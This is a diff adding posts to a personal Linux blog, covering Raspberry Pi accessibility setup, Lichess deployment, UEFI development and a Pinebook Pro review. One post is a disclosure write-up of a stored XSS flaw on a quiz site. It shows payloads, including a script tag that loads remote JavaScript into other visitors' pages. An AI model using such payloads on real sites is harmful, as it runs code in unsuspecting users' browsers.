Due to this machine being connected directly outside my network and pulling DHCP like a normal router would, I need to send my data through the WAN connection to get my files to it. +This is rather unfortunate as my upload speed is capped at 20 megabits per second, despite my upload being in the 300+ range.

+ +

Part 3 will involve a LAN card so I can connect both to the DHCP server of my ISP and my local router. +This way my transfer speeds should be in the range of 1 gigabit per second. +This will make my life much easier, at least on the local network.

+ +

Fun Fact!

+ +

Do not try to use the M.2 slot on a consumer motherboard where you are also using all the SATA ports. +On my consumer gaming motherboard, the SATA ports next to the M.2 slot became disabled when I attached the M.2 SSD. +I found this out form my motherboard documentation, which I read only after a week of thinking my motherboard itself was defective, and sending it in for repairs that did absolutely nothing.

+ +

Thoughts

+ +

I like having all this space. I plan on using it up pretty fast, so I’m already looking at how to expand. +Hopefully that gives a decent overview of how I set up my drives.

+ +

Happy hacking!

+ +
+ +
+
+ +
+ + diff --git a/2020/12/01/pacaur-rpi/index.html b/2020/12/01/pacaur-rpi/index.html new file mode 100644 index 0000000..c9dae4c --- /dev/null +++ b/2020/12/01/pacaur-rpi/index.html @@ -0,0 +1,127 @@ + + + + + Getting Pacaur Working on a Raspberry Pi 4 with Manjaro ARM or Arch Linux | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Getting Pacaur Working on a Raspberry Pi 4 with Manjaro ARM or Arch Linux

+ +
+
+ +

I recently installed Manjaro ARM (based on Arch Linux ARM) on a Raspberry Pi 4. +I used some standard commands to start to add the pacaur package so I can easily retrieve AUR packages without needing to do it manually. +Unfortunately, there is a small problem with compiling this on ARM.

+ +

always_inline

+ +

To setup the install for pacaur, I first needed to download auracle-git AUR package manually. +I ran into an error when compiling this package.

+ +

But first, my setup:

+
+$ git clone https://aur.archlinux.org/auracle-git
+$ cd auracle-git
+$ makepkg -sri
+
+ +

Around half way through compiling this project, I got this cryptic message telling me there was a “target specific option mismatch”…Whatever that means. +The full error is below, hopefully that helps my chances on the search engines.

+ +
+In file included from ../subprojects/abseil-cpp-20200225.2/absl/random/internal/randen_hwaes.cc:225:
+/usr/lib/gcc/aarch64-unknown-linux-gnu/9.3.0/include/arm_neon.h: In function 'Vector128 {anonymous}::AesRound(const Vector128&, const Vector128&)':
+/usr/lib/gcc/aarch64-unknown-linux-gnu/9.3.0/include/arm_neon.h:12452:1: error: inlining failed in call to always_inline 'uint8x16_t vaesmcq_u8(uint8x16_t)': target specific option mismatch
+12452 | vaesmcq_u8 (uint8x16_t data)
+
+ +

Luckily, there is a very easy fix for this. +The user redfish helpfully pointed out +on the auracle-git package page that you need to add a special make option to your /etc/make.conf file to make this work.

+ +

His solution, as commented is like so:

+ +
+

If you get this error when building for ARM aarch64:

+ +

(insert error message from before)

+ +

Then check that in /etc/makepkg.conf CFLAGS and CXXFLAGS have the +crypto suffix in -march flag, like -march=armv8-a+crypto (the base identifier may very depending on your hardware)

+
+ +

Basically, there is a file on Linux: /etc/makepkg.conf which tells your computer how to compile all programs on the system. +By default the Manjaro ARM (RPi4) edition has the following relevant lines in makepkg.conf.

+ +
+CFLAGS="-march=armv8-a -O2 -pipe -fstack-protector-strong -fno-plt"
+CXXFLAGS="-march=armv8-a -O2 -pipe -fstack-protector-strong -fno-plt"
+
+ +

What Mr. redfish is telling us is that we must add ‘+crypto’ to the end of the -march compiler flag so that our compiler will know how to inline that pesky vaesmcq_u8 function.

+ +

So in the end, your makepkg.conf’s relevant lines will look like so:

+
+CFLAGS="-march=armv8-a+crypto -O2 -pipe -fstack-protector-strong -fno-plt"
+CXXFLAGS="-march=armv8-a+crypto -O2 -pipe -fstack-protector-strong -fno-plt"
+
+ +

Why?

+ +

Redfish continues:

+ +
+

Build of abseil-cpp package works because it uses CMake which adds the correct -march flag regardless of makepkg.conf, whereas when abseil-cpp is build as a subproject within this package, it uses meson, which does not add the flag and thus fails with the above error.

+
+ +

In other words, one of the dependencies pulled in with auracle is not compiling without this special compiler flag enabled.

+ +

Conclusion

+ +

Thanks to redfish for posting this solution to the forums! +Would’ve been quite the rabbit hole for me to figure out how to do that. +In fact, it is very likely I would have never figured that one out.

+ +

After this issue is resolved, the installation of pacaur goes as expected. Nice and easy! +Pacuar will compile on any architecture so it’s smooth sailing from here.

+ +

Happy hacking!

+ +
+ +
+
+ +
+ + diff --git a/2020/12/14/orca-raspberry-pi-manjaro/index.html b/2020/12/14/orca-raspberry-pi-manjaro/index.html new file mode 100644 index 0000000..6f6d9a8 --- /dev/null +++ b/2020/12/14/orca-raspberry-pi-manjaro/index.html @@ -0,0 +1,234 @@ + + + + + Orca, Emacspeak and Chromium Accessibility on A Raspberry Pi Running Manjaro ARM | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Orca, Emacspeak and Chromium Accessibility on A Raspberry Pi Running Manjaro ARM

+ +
+
+ +

I wanted to get a gift for my blind friend who has been interested in learning Linux for a while now. +Just when I was about to start looking for something I decided to take a look at Brian Lunduke’s newest video featuring the Raspberry Pi 400. +The Raspberry Pi 400 has come full circle in terms of computing. +It is a keyboard. All the computing is done from within the keyboard. +Much like the Comodore64, this computer comes without a screen but is still technically fully functional without one. +I had my ‘Aha!’ moment, and decided that the Raspberry Pi 400 would be a very cool present.

+ +

No Headphone Jack

+ +

My first problem was that the Raspberry Pi 400 does not come with a headphone jack, +even though every other Raspberry Pi A/B/B+ board with the exception of the compute modules and Zero series have included one. +That said, the Raspberry Pi audio jacks are also known to crackle and pop due to either bad drivers or cheap manufacturing.

+ +

To compensate, I got an external USB audio card. +I ended up going with the DuKabel USB to 3.5mm Jack Adapter (Amazon).

+ +

There are cheaper options for sure, but when I was looking around Raspberry Pi forums and Amazon reviews, this specific model seemed to come out on top in terms of performance. +It costed me around 40 Canadian dollars. +I figure this isn’t too bad considering my friend doesn’t need a screen, haha!

+ +

Distribution

+ +

I wanted to choose something which will age well, and run the latest and greatest. +For visually impaired users, the most important piece of software is the screen reader. If the screen reader doesn’t work, the rest of the work is toast! +Some Raspberry Pi Orca installation guides like this one, +have actually asked the user to compile Orca from source to get the latest version due to how out-of-date Debian’s package repositories are. +A distribution which has none of these fusses was top priority, +especially because Orca receives frequent updates.

+ +

I decided to go with Manjaro ARM Xfce:

+ +
    +
  • Xfce is lightweight.
  • +
  • Runs a 64-bit kernel.
  • +
  • Is based on Arch Linux, so receives very frequent package updates.
  • +
  • Has the AUR (with some effort, as we’ll see).
  • +
+ +

The only downside of Manjaro ARM, and likewise other Aarch64 (ARM 64-bit) architecture kernels is that it did not have HEVC nor H264 hardware decoding available. +Apparently, support for the Raspberry Pi’s VC4 graphics is getting mainlined in Linux kernel 5.10. +Unfortunately, running the release candidate (RC) kernel did not make the Raspberry Pi 400 use hardware decoding. +Perhaps other applications like ffmpeg and Chromium need to add support as well before this works.

+ +

Orca

+ +

As stated before, minimum requirement for a visually impaired desktop Linux user is a screen reader. +The most used screen reader for Linux is Orca, headed by the GNOME Project. +This is relatively easy to install with a standard pacman command.

+ +
+# pacman -S orca
+
+ +

If logged in via SSH, you can start Orca with the orca command. This will start reading the screen to you so you can do the next parts.

+ +

To activate Orca on login with LightDM, enable it in the ‘LightDM GTK+ Greeter Settings’ application. The ‘Misc.’ tab will have a drop-down for asking which screen reader you want to use. +This will start Orca when the LightDM login system starts.

+ +

LightDM’s Orca will not help us once we are logged in however. +To activate Orca on login, open the ‘Session And Startup application’ program, then add Orca to the “startup” list of apps.

+ +

And now Orca will be activated on boot and login.

+ +

AUR

+ +

The AUR, or the Arch User Repository has community maintained and distributed packages. +Basically, you download a file which will tell your computer how to download, build and install a package for you.

+ +

To get the AUR working in a more automatic way, we need to install the pacaur helper. +This merited its own article, so check that out here: +How to Install Pacaur on Manjaro ARM

+ +

The TL;DR is that we need to open the /etc/makepkg.conf file and replace any mention of -march=armv8-a with -march=armv8-a+crypto.

+ +

This can be done as a oneliner, thanks to the sed command.

+ +
+# sed -i 's/-march=armv8-a/-march=armv8-a+crypto/' /etc/makepkg.conf
+
+ +

Emacspeak

+ +

Emacs is a scriptable document editor run by the GNU Project. +Infamous for its high learning curve though it may be, +there is a very extensive speech extension for it called Emacspeak. +Emacspeak is built entirely by T. V. Ramen and has been freely available since its inception in 1999. +Due to its age (and thus maturity), Emacspeak is an important tool in any “eyes-free” software developer toolkit.

+ +

Lucky for me, Emacspeak appears to not only to be available in the AUR, +but also compilable with the Aarch64 architecture—the architecture of the Raspberry Pi 400. +So this is as easy to install as:

+ +
+$ pacaur -S emacspeak
+
+ +

Web Browsers

+ +

I’ll cover a couple web browsers here based on how they worked.

+ +

Firefox

+ +

Firefox will run in accessibility mode with caret browsing enabled automatically when it detects Orca is running. +This makes Firefox by far the best browser for the job.

+ +

Chromium

+ +

Chromium… Ugh. So it works, sort of. +You need to enable two special flags, and add an environment variable.

+ +

To do this, I suggest editing the main profile in /etc/profile. +Add the following line to the end of that file:

+ +
+export ENABLE_ACCESSIBILITY=1
+
+ +

Next, add two flags to the $HOME/.config/chromium-flags.conf file.

+ +
+--force-renderer-accessibility
+--enable-caret-browsing
+
+ +

You will need to relog to set the ENABLE_ACCESSIBILITY environment variable. Now Chromium should work with Orca.

+ +

Badwolf

+ +

The Badwolf browser +is based on the WebkitGTK engine, as opposed to Firefox’s Gecko and Google’s Blink engines. +It almost works out of the box. It is really fast compared to the other two, +but it lacks some features like announcing a page is done loading and it doesn’t appear to support caret browsing, +which will cause some other problems. +Interesting though for such a young browser to have a minimal level of accessibility so early!

+ +

I would be interested where this goes in the future.

+ +

P.S.

+ +

Somehow I forgot that you would need to setup the dummy display driver to work with the graphics without a display attached. +To do this, install the xf86-video-dummy pacakge:

+
+# pacman -S xf86-video-dummy
+
+ +

Next, override any /etc/X11/xorg.conf you may have with this:

+ +
+Section "Monitor"
+	Identifier "Monitor0"
+	HorizSync 28.0-80.0
+	VertRefresh 48.0-75.0
+	# https://arachnoid.com/modelines/
+	# 1920x1080 @ 60.00 Hz (GTF) hsync: 67.08 kHz; pclk: 172.80 MHz
+	Modeline "1920x1080_60.00" 172.80 1920 2040 2248 2576 1080 1081 1084 1118 -HSync +Vsync
+EndSection
+
+Section "Device"
+	Identifier "Card0"
+	Driver "dummy"
+	VideoRam 256000
+EndSection
+
+Section "Screen"
+	DefaultDepth 24
+	Identifier "Screen0"
+	Device "Card0"
+	Monitor "Monitor0"
+	SubSection "Display"
+		Depth 24
+		Modes "1920x1080_60.00"
+	EndSubSection
+EndSection
+
+ +

Now, when you boot, you should head ‘Screen reader on’.

+ +

Conclusion

+ +

It took a bit of messing around to get this working, but I’m glad I did! +Now I can nerd out with another Linux friend and given how well they seem to find problems with accessibility, hopefully a few upstream patches can be made.

+ +

Happy hacking, for everyone!

+ +
+ +
+
+ +
+ + diff --git a/2020/12/20/deploy-lichess/index.html b/2020/12/20/deploy-lichess/index.html new file mode 100644 index 0000000..6e7decc --- /dev/null +++ b/2020/12/20/deploy-lichess/index.html @@ -0,0 +1,148 @@ + + + + + How to Deploy Lichess's Lila With Nginx | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

How to Deploy Lichess's Lila With Nginx

+ +
+
+ +

I was getting ready to have a public test of some changes I made to lichess.org’s open source chess platform. +In preperation, I got my Let’s Encrypt certificates and nginx configurations setup… +and it wouldn’t work. +Here are some tips for myself and future Lichess developers.

+ +

Reasoning

+ +

My pull request involves accessibility. +It will extend Lichess’s NVUI (Non-Visual User Interface) to be more accessible to beginner level chess players. +At the time of writing this, Lichess’s NVUI only supports searching pieces by type, rank and file. +It does not support any kind of interactive board.

+ +

I wanted to play chess with a friend of mine who uses a screen reader. +Even though Lichess does indeed have a separate rendering of the page for visually impaired users, +I have heard from a few people that it is not the best.

+ +

I don’t use a screen reader myself, so I thought having a public latest changes deployed server would work better for testing. +It would certainly work better than getting some of my less computer literate friends to connect to me via VSCode/VPN and view my local repository.

+ +

So here is how to deploy it:

+ +

Setup a development environment

+ +

This is described in Lichess’s documentation itself. +I will not elaborate further as it is not necessary.

+ +

Setup nginx

+ +

This is the part that stumps most people. +Getting a local development server usually works alright, but once you want to reverse proxy it for security and professionalism purposes, it get more interesting.

+ +

Here is the relevant portion of my nginx configuration for lila:

+ +
+server_name chess.tait.tech;
+
+location / {
+  proxy_pass http://127.0.0.1:9663;
+  proxy_set_header Host $host;
+  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+  proxy_set_header X-NginX-Proxy true;
+  proxy_set_header X-Real-IP $remote_addr;
+}
+
+ +

This is the config for the lila-ws websocket subdomain:

+ +
+server_name ws.chess.tait.tech;
+
+location / {
+  proxy_pass http://127.0.0.1:9664;
+  proxy_http_version 1.1;
+  proxy_set_header Upgrade $http_upgrade;
+  proxy_set_header Connection "upgrade";
+}
+
+ +

You will need to deploy these on two virtual hosts.

+ +

Lila

+ +

Lila is the name for the main chess server, we need to change a few settings. Here is my git diff for the conf/base.conf file:

+ +
+-  domain = "localhost:9663"
+-  socket.domains = [ "localhost:9664" ]
++  domain = "chess.tait.tech"
++  socket.domains = [ "ws.chess.tait.tech" ]
+   asset.domain = ${net.domain}
+-  asset.base_url = "http://"${net.asset.domain}
++  asset.base_url = "https://"${net.asset.domain}
+   asset.minified = false
+-  base_url = "http://"${net.domain}
++  base_url = "https://"${net.domain}
+
+ +

Lila-ws

+ +

Lila-ws is the websocket component of Lila.

+ +

The most common complaint amongst aspiring Lichess developers is websockets not working. +They constantly get these ‘101’ responses from the websocket, +and it also seems that the websocket returns instead of staying in the ‘pending’ state as it should be.

+ +

Here is how to fix that (in diff format):

+ +
+-csrf.origin = "http://127.0.0.1:9000"
++csrf.origin = "https://chess.tait.tech"
+
+ +

You need to tell lila-ws where the websocket requests will be coming from. This is how to do that.

+ +

Conclusion

+ +

This is not a long article, but just some notes for future me and Lila developers.

+ +
+ +
+
+ +
+ + diff --git a/2021/01/31/lichess/index.html b/2021/01/31/lichess/index.html new file mode 100644 index 0000000..fe8df89 --- /dev/null +++ b/2021/01/31/lichess/index.html @@ -0,0 +1,116 @@ + + + + + Lichess Accessibility | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Lichess Accessibility

+ +
+
+ +

I wanted to play chess with somebody who used a screen reader, without requiring a screen reader myself; +some sites, like QuintenC’s Playroom have a rather poor visual interface for anyone who would like the play the game visually. +Lichess is an free and open-source website for chess players; +it bridges this gap by having two “modes” on the site: +standard mode and accessibility mode.

+ +

Accessibility Mode

+ +

Accessibility mode is far from perfect on lichess.org. +That said, the idea to separate the sites into different modes was a good call. +It stops the inevitable “this would work well for screen readers but cause visual issues” shenanigans, +or, vice-verse “this looks great but it might be weird with a screen reader”. +This way all the things which affect the visual interface are in one place, +and all things which affect the non-visual user interface (NVUI) are written in another.

+ +

In my quest to play chess with visual and non-visual players with both having optimal experiences, I tried Lichess with my friend from melly.tech. +She pointed out that the method to interface with the board previously was rather poor. +This is because it required an “enter” at the end of each command and the commands tended to read out a row or column of a chessboard not just an individual square.

+ +

For example, to list all pieces (or lack thereof) on the e file, I would type the command:

+ +
s e
+
+ +

Although this seems good in theory, and it’s great when you need an entire file, there was no way to get only one square. +In addition, imagine typing to navigate around the board:

+ +
s e1
+s f1
+s e2
+
+ +

For the inexperienced player, it seems to be more convenient to bind some keys and have the user bounce to various buttons, which they can push to say “I want to move this piece”. +This is what I was told anyway. +So I want to work making a system so you could use the following basic keys:

+ +
    +
  • left/right/up/down arrow: move on the board.
  • +
  • k/q/r/b/n/p: move to next piece represented by its character in chess notation.
  • +
  • shift + k/q/r/b/n/p: move back to the last piece represented by its character in chess notation.
  • +
  • click/enter/space: select piece to move.
  • +
  • click/enter/space again: move piece here.
  • +
  • m: show where I can move with this piece.
  • +
  • shift+m: show where I can capture with this piece.
  • +
  • 1-8: move to rank 1-8; stay on same file.
  • +
  • shift + 1-8: move to file a-h; stay on same rank.
  • +
+ +

This gives a pretty solid basis for playing the game. +One caveat is after you have moved a pawn all the way to the farthest rank, only the destination tile will accept your promotion choice. +Therefore, all the other keys still work on other square, but if you are on the destination square of a promotion q/r/b/n will promote your piece, not jump you to the next/previous one.

+ +

This pull request was merged earlier this month:

+ +

More To Come

+ +

Next thing I want to do is implement the analysis board. +Right now it is not accessible whatsoever.

+ +

Help Me

+ +

If you are a screen reader user or know about accessibility and want to help make Lichess an awesome chess site for sighted and unsighted players alike, +then send me an email at tait@tait.tech and I’ll BCC you once I start testing the analysis board.

+ +

Happy hacking, y’all!

+ +
+ +
+
+ +
+ + diff --git a/2021/04/04/quiz-your-friends-xss/index.html b/2021/04/04/quiz-your-friends-xss/index.html new file mode 100644 index 0000000..990c810 --- /dev/null +++ b/2021/04/04/quiz-your-friends-xss/index.html @@ -0,0 +1,160 @@ + + + + + The "Quiz Your Friends" XSS Exploit | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

The "Quiz Your Friends" XSS Exploit

+ +
+
+ +

Note: I have alerted the administrators of this site multiple times about this vulnerability. +One email was sent many years ago, which is more than enough time for responsible disclosure.

+ +

Update: They have fixed the vulnerability as of the day of release for this article.

+ +

Background

+ +

In early 2014, when my “programming” skills consisted of editing web pages with inspect element, I was sent a link from an old friend in a town about 3 hours away. +This was a link to a quiz about them. +I had to answer as many questions right as I could about them and I got a score at the end based on my answers. +It seemed fun enough, so I went for it. +In the following weeks this quiz website became quite a trend amongst my friend group as we all started making quizes to see how well we all knew eachother.

+ +

A few weeks into this trend, I was staying at a friends’ place and told him about this site, +so he goes and creates his own quiz and sends it to all his friends, group chats, Google Plus groups, et cetera.

+ +

Hackerman

+ +

While filling in my friend’s survey I thought it would be +funny for them to know it is me without anyone else knowing. +We were young and had Inspect Elemented a few things together, +so it was a safe bet that an HTML joke would let them know.

+ +

I decided to write my name like so: <b>Steve</b>. +Steve is in reference to the main character in the video game Minecraft.

+ +
+ +
+

Me typing in my name as <b>Steve</b>.

+
+
+ +

Now in theory this should have shown in in the leaderboard as: “<b>Steve</b>” +However, to my horror and excitement, I saw this in the leaderboard:

+ +
+ +
+

<b>Steve</b> displaying in the leaderboard as bold text: Steve

+
+
+ +

The text “Steve” showed up in bold on the leaderboard. +This told me all I needed to know. +How did this happen? You might wonder.

+ +

Server-Side Validation

+ +

Here is a great demonstration why you should do most of your validation on the server side. +As a user, I can edit any of the HTML, CSS, or Javascript your server serves to me.

+ +

Quiz your friends uses the maxlength=20 HTML attribute on the name input field. +Imagine trying to fit in a script tag doing anything useful with 20 characters! Don’t forget that includes the <script> tag. +That would leave 13 characters for Javascript. +Although I’m sure a genius would be able to code golf that, I know I couldn’t.

+ +

Now obviously I can edit any HTML that a server has sent to me. +If I open up my inspect element window, I can go ahead and change that maxlength attribute to anything I want. +Let’s change it to 100!

+ +
+ An image of the Quiz Your Friends name input field with inspect element. THe code reads: <font class="style6"><input class="inputbutton" name="takername" type="text" id="takername" maxlength="20" width="425" placeholder="Your First Name" style="text-align: center; text-decoration:inherit; font-size:38px;" tabindex="-1"></font> +
+ Manually changing the maxlength attribute. +
+
+ +

In theory, there is a way that a site can stop people from just putting in their name of any length: server-side validation. +The server could check to see if the input is too long and reject it if it is. +The Quiz My Friends server has no such checks in place. +Therefore, I can send an almost arbitrary load to them. +Being able to send something potentially very large (more than a few megabytes) is a vulnerability of its own. +Imagine being able to send entire executable programs as your “name” in one of these quizzes?

+ +

Javascript

+ +

So I went on my merry way thinking about ways to use malicious javascript. +Then, I thought that might be mean, so I decided to warn users instead. +I filled in the name with a script tag and a call to alert() to warn the user about this site. +I edited the max-length attribute to allow me to type a long string like this:

+ +
<script>alert("Don't use this site. It is not secure!");</script>
+
+ +

Sure enough, I got a text from my friend saying: “Tait! I know this is you, why would you do that!” +A bit salty, but who wouldn’t be.

+ +

Cross-Site Scripting (XSS)

+ +

As my final act, I decided to use a cross-site script that I could edit and have it load with new changes at any time.

+ +

I set this as my name:

+ +
<script src="https://tait.tech/assets/js/hacked.js"></script>
+
+ +

This script pops up a warning, telling the user that the site is insecure and it is now redirecting to an article about the attack. +This script redirects to an older post I made about how XSS works.

+ +

Conclusion

+ +

Watch out for sketchy websites that may be vulnerable to malicious or insecure sites which are ripe for abuse. +Always check that you are using an encrypted connection, HTTPS. +And if you see any messages warning you that a site is not secure and redirecting you to some random site… +Take their info with a grain of salt.

+ +

Happy Hacking, literally :)

+ + +
+ +
+
+ +
+ + diff --git a/2021/04/18/uefi-development-environment/index.html b/2021/04/18/uefi-development-environment/index.html new file mode 100644 index 0000000..0844f82 --- /dev/null +++ b/2021/04/18/uefi-development-environment/index.html @@ -0,0 +1,183 @@ + + + + + UEFI Development On x86 With EDK2 | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

UEFI Development On x86 With EDK2

+ +
+
+ +

I made this blog so I could remember how to do stuff that had instructions spread around the internet. +So here is how I setup my environment for developing EFI applications.

+ +

Requirements

+ +

On Artix or other Arch-based distros like Manjaro I installed the following packages: gcc nasm iasl

+ +

Here is what the packages do:

+ +
    +
  • GCC is obviously the GNU Compiler Collection and it allows us to compile C code to machine code.
  • +
  • NASM stands for Netwide Assembler. It is an assembler and disassembler for 32 and 64 bit Intel x86 platforms.
  • +
  • IASL stands for the ACPI Source Language Compiler/Decompiler. This will compile any ACPI calls to our local machine’s code.
  • +
+ +

We need all these packages to start our (U)EFI journey. +Now that these are installed, let’s setup our environment.

+ +

Building EDK2

+ +

I used the stable/202011 branch as that is latest stable version of the EDK2 project.

+ +

So first let’s pull the project:

+ +

git clone https://github.com/tianocore/edk2.git

+ +

Now, let’s fetch the tags and switch to the latest stable version:

+ +
cd edk2
+git fetch
+git checkout stable/202011
+
+ +

Perfect! We’re on stable now! Let’s grab all our submodules: git submodule update --init

+ +

This will take a bit the first time you do it. But no fear, once that’s done, we can finally build the base tools.

+ +
make -C BaseTools
+export EDK_TOOLS_PATH=$HOME/Documents/edk2/BaseTools
+. edksetup.sh BaseTools
+
+ +

Notice we source a file with . before continuing. This is needed to load some tools and options into our shell for later. The environment variable EDK_TOOLS_PATH is set so that EDK knows where to find itself later. Now that everything is loaded up, we can modify a config file located at Conf/target.txt.

+ +

The most important options are these, feel free to append them to the end of the file; there is no default value for them.

+ +
+ACTIVE_PLATFORM = MdeModulePkg/MdeModulePkg.dsc
+TOOL_CHAIN_TAG = GCC5
+# for 64-bit development
+TARGET_ARCH = X64
+# for 32-bit development
+TARGET_ARCH = IA32
+# for 32 and 64-bit development
+TARGET_ARCH = IA32 X64
+
+# set multithreading to 1 + (2 x # of cores)
+MAX_CONCURRENT_THREAD_NUMBER = 9
+
+ +

There are other options, but I don’t know about them much, so I’m just sticking with this for now.

+ +

Finally, after all this work, we can build some .efi files. Let’s compile the Helloworld.efi file! +Simply run the build command in the terminal. +You can find your compiled EFI files by running this ls command:

+ +
ls Build/MdeModule/DEBUG_*/*/HelloWorld.efi
+
+ +

This will show all HelloWorld.efi files for all architectures and toolchains (if you decide to change them).

+ +

Running In UEFI Shell

+ +

Once all this is complete, you will want to run your EFI files. +To do so, let’s first add an EFI shell to use at boot. +This will appear as an option in your bootloader, like GRUB, which is what I will show documentation for in this article.

+ +

So, first thing is first, +download and EFI shell file. +Second, move it to a partition (FAT formatted) which can be used for the UEFI. +On my Linux system, this is /boot. On others there may be no FAT filesystem so attach a USB and format it as FAT. +Third, add the EFI Shell option to your grub boot file. +Substitute hdX with the right hard drive (I did it with trial and error) as when it doesn’t work I would hit ‘e’ on grub and add the ls GRUB command. +Substitute the gptX with the correct partition, or msdosX if it is a DOS formatted partition table. +My Shell.efi was placed in /boot/EFI/.

+ +

+
+menuentry "EFI Shell" {
+        insmod part_gpt
+        insmod chain
+        insmod fat
+        set root='(hd4,gpt2)'
+        chainloader /EFI/Shell.efi
+}
+
+ +

Now regenerate your grub configuration file with grub-update (Debian-based) or grub-mkconfig -o /boot/grub/grub.cfg (Other).

+ +

You’ll know if your shell is working if you see the following text on boot into the EFI shell:

+ +
+UEFI Interactive Shell v2.1
+EDK II
+UEFI v2.4 (EDI II, 0x000100000)
+Mapping table:
+	...
+Shell> 
+
+ +

Running Hello World

+ +

When we run our ls command from earlier, remember we saw our HelloWorld.efi file. +Let’s move this file somewhere useful, like for me, /boot. +Then, once we’re in our UEFI shell we can run commands:

+ +
+Shell> .\HelloWorld.efi
+UEFI Hello World!
+Shell> 
+
+ +

And that… All that is how you set up a UEFI development environment.

+ +

Conclusion

+ +

This took me a long time to figure out. +I needed to scrounge resources from around the internet, +and I had to look at my config files for hours to make sure that I hadn’t missed a step that I did without thinking. +I hope this will be useful to you and my future self.

+ +

Happy UEFI hacking :)

+ +
+ +
+
+ +
+ + diff --git a/2021/06/02/pinebook-pro/index.html b/2021/06/02/pinebook-pro/index.html new file mode 100644 index 0000000..68d408f --- /dev/null +++ b/2021/06/02/pinebook-pro/index.html @@ -0,0 +1,191 @@ + + + + + Pinebook Pro, The Ultimate ARM Laptop | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Pinebook Pro, The Ultimate ARM Laptop

+ +
+
+ +

I recently got my Pinebook Pro. +It was more expensive than I was expecting, coming in at (including shipping and handling) C$335. +I always forget the exchange rate and assume it’s similar to the U.S. dollar, but it never is, haha! +Anyway, this is just my first impressions and what I did to fix a few issues.

+ +

Initial Impressions

+ +

My first impressions of this are quite good. +I like the keyboard; it is firm and not mushy for the price. +It actually has a similar keyboard to my school-supplied Dell, which I quite enjoyed typing on. +The shell is aluminium and doesn’t feel too cheap, but I should note that it sure doesn’t feel like a Macbook if that’s what you’re expecting. +All in all build quality seems pretty good for a product in this price range. +I’m actually using it right now to write this article, and I’m actually typing faster than I would on my desktop.

+ +

The screen is bright enough and has anti-glare applied to it. I can use it with moderate light behind me, but not a sunset. Decent, and I can’t even use my phone with a sunset right on it, so that’s not a huge loss at all as I think my phone costs more than this haha!

+ +

The trackpad is fine. +I don’t use the mouse very often, and if I need it I’m more likely to bring an external one. +It works for what I need though. +I can’t seem to get the glossy protector off the trackpad though so maybe it would be better if I did haha!

+ +

The temperatures are okay. I would consider them not ideal. +The left side closer to the hinge can get quite warm when I push it. +To be expected in some respects, but the metal case certainly makes the heat come out fast and hot! +It is also passively cooled, so a bit of heat makes sense and is reasonable. +I wonder if I could mod this to have an active low-profile fan? +A project for later, I suppose.

+ +

The keyboard is pretty standard for a 14-inch laptop. +No numpad (except with function key), has F1-12 and media keys using function+F1-12. +Screen brightness, sound up, down and mute, and num and scroll lock. +These seem to work no matter what distribution you have (I’ve used Manjaro KDE and Manjaro Sway). +Perhaps this would react differently on Arch for ARM with no key bindings. +I’m not sure if this is implemented in software or hardware.

+ +

The speakers and very tin-y and do not sound good at all. +That said, they look very replaceable, so I’ll look into a mod in the future. +The Pinebook Pro comes with a headphone port, so you could just use that if the sound bothers you.

+ +

Some suggestions

+ +

I had some issues when it first arrived.

+ +
    +
  1. Reboot did not work. The display would glitch out and show horizontal lines. It would only work after a full shutdown.
  2. +
  3. Booting would sometimes not work at all. My SD card would sometimes boot, sometimes not. eMMC would sometimes work and sometimes not. Sometimes I would even get to the login screen, or fully logged in before it decided to freeze/hang. I could “drop to console” (Ctrl+Alt+Fx), but it only made my mouse stop showing, it would not actually display a console. This problem was worse when not plugged in.
  4. +
  5. Performance was not stellar, even for the RK3399.
  6. +
  7. I don’t like the Manjaro logo that displays during boot.
  8. +
+ +

Don’t use KDE

+ +

KDE for me is a bit slow. +It is not a keyboard-driven desktop. +To give it some credit though, it does at least have zoom support built in; this is something I wish other desktops would have enabled by default. +I’m looking at your, Xfce.

+ +

I switched to Manjaro Sway, which is a Wayland-based i3-like tiling window manager. +I’ve used this on my Raspberry Pi 4, and it is by far my preference among other default distro configurations.

+ +

This can be done by flashing an SD card with any random Linux distro, then download Manjaro Sway ARM for the Pinebook Pro.

+ +

Quickly, we should prepare the eMMC. Open fdisk with your eMMC module and remove all partitions. +If you have issues with this, check if any partition is mounted, unmount it, then try again. +fdisk is well documented elsewhere, so I won’t cover it here.

+ +

Once your .xz file is downloaded, unxz the .xz file downloaded.

+ +
+$ cd ~/Downloads
+$ unxz Manjaro-Sway-ARM-pbp-20.10.img.xz
+
+ +

Not exactly those commands, but close.

+ +

Once you have that, flash your eMMC by using dd.

+ +
+# dd if=./Manjaro-Sway-ARM-pbp-20.10.img of=/dev/mmcblkX bs=1M conv=fsync
+
+ +

Now remove your SD card. +U-Boot will prefer your SD card over your eMMC, so if you leave it in, it will boot to your SD card.

+ +

Flash Your U-Boot (BSP)

+ +

U-Boot appeared to be the solution to my other two issues. +I was able to flash a new U-Boot program by using the following commands. +Be sure to run lsblk beforehand to know which /dev/emmcblk to write to. +Replace X with the correct number for your system.

+ +
+# pacman -S uboot-pinebookpro-bsp
+# dd if=/boot/idbloader.img of=/dev/mmcblkX seek=64 conv=notrunc
+# dd if=/boot/uboot.img of=/dev/mmcblkX seek=16384 conv=Notrunc
+# dd if=/boot/trust.img of=/dev/mmcblkX seek=24576 conv=notrunc
+
+ +

The dd instructions are printed out after installing the uboot-pinebookpro-bsp package, so make sure to follow what is printed there if it is different that what I have provided.

+ +

After doing this, not only have I since booted 100% of the time, +but my display now works correctly after a reboot without a full shutdown.

+ +

Whew! Looking good!!!

+ +

Maybe get some of the accessories

+ +

I didn’t buy any accessories from Pine64. +I regret this somewhat. +For one thing, without an accessory to read the eMMC over USB, you need to have a working Linux distro on the SD card to get anywhere with it. +Flashing directly to the eMMC would have saved me a lot of time.

+ +

The other accessory I could see the occasional use for is the Ethernet adapter. +When downloading a big update (1GB+), it could be useful to wire in just temporarily. +Not a huge deal, but worth mentioning.

+ +

